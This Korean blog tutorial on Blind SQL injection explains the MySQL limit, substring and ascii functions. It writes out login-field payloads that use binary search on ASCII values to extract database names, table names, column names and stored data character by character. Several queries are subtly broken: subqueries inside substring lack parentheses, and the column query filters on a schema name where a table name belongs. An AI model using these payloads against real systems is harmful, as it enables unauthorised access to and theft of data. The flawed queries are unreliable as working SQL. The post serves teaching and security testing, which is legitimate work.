서버에 보낸 질의문의 결과가 참, 거짓에 따라 다른 응답을 주는 경우 사용할 수 있는 공격이다.
다른 SQL Injection 공격이 가능한 환경 모두에서 사용할 수 있는 공격기법이다.
1. 취약점 확인
예로 로그인 페이지에서 user라는 아이디가 존재한다 가정했을 때, ID 입력창에 user' and '1'='1을
입력하면 참, user' and '1'='2 를 입력하면 거짓이라는 결과가 도출될 것이다. 이 때, 출력되는 결과가 다르다면
Blind Based SQL Injection이 가능함을 알 수 있다.
user' and '1'='1 참
user' and '1'='2 거짓
2. Blind Based SQL Injection에 사용되는 함수
(1) limit
select * from users limit n,m //n번째 인덱스에서 m개의 튜플 출력
users테이블의 모든 속성을 담은 데이터들을 n번째 인덱스에서 m개 출력한다.
(2) substring
select substring('blindsqlinjection',n,m); //주어진 문자열의 n번째 인덱스에서 m개 출력(첫번쨰가 1)
limit과 달리 문자열의 첫 번째 문자의 인덱스는 0이 아닌 1이다. 위에서 주어진 문자열의 n번째 문자부터 m개를 출력한다.
(3) ascii
select ascii('a'); // 'a'는 아스키코드로 97이다.
97를 출력한다. 총 0~127까지 총 128개의 문자를 나타낼 수 있다.
3. Blind Based SQL Injection
이제 위에서 설명한 함수들을 사용하여 우리가 원하는 데이터베이스, 테이블, 속성, 데이터 이름을 문자 하나하나 추출할 것이다.
(1) 데이터베이스명 파악
select * from users where id='user1' and (ascii(substring(database(),1,1))>64) and '1'='1'#;
' and (ascii(substring(database(),1,1))>64) and '1'='1'# 를 ID 입력창에 입력한 것으로,
데이터베이스명 첫번째 문자가 아스키코드상 64보다 큰지 아닌지 확인할 수 있다. 아스키코드가 총 128개의 문자를 나타낼 수 있기 때문에 중간값인 64와 비교를 하여 이진탐색을 하도록 할 것이다. 이진 탐색을 통해 모든 경우를 찾았을 때 시간탐색도가 O(n)이 나오는것을 O(logn)으로 줄여줄 수 있기 때문이다.
또한 substring의 인덱스를 하나하나 높여가며 데이터베이스 이름의 문자 하나하나를 모두 수집한다.
(2) 테이블명 파악
select * from users where id='user1' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema='데이터베이스명' limit 0,1),1,1))>64) and '1'='1'#;
테이블명은 information_schema.tables 테이블의 table_name 속성에서 얻어낼 수 있다.
위 데이터베이스 이름을 알아낸 방식 그대로 사용한다.
(3) 속성명 파악
select * from users where id='user1' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_schema='테이블명' limit 0,1),1,1))>64) and '1'='1'#;
테이블명은 information_schema.columns 테이블의 column_name 속성에서 얻어낼 수 있다.
(4) 데이터 추출
select * from users where id='user1' and (ascii(substring(select $속성명 from $테이블명 limit 0,1),1,1))>64) and '1'='1'#;
'웹 모의해킹 > SQL Injection' 카테고리의 다른 글
ERROR Based SQL Injection (0) | 2022.11.09 |
---|---|
UNION Based SQL Injection (0) | 2022.11.06 |
로그인 Case별 SQL Injection (0) | 2022.11.05 |
SQL Injection (0) | 2022.11.01 |
우분투에서 MySQL 사용법 (0) | 2022.11.01 |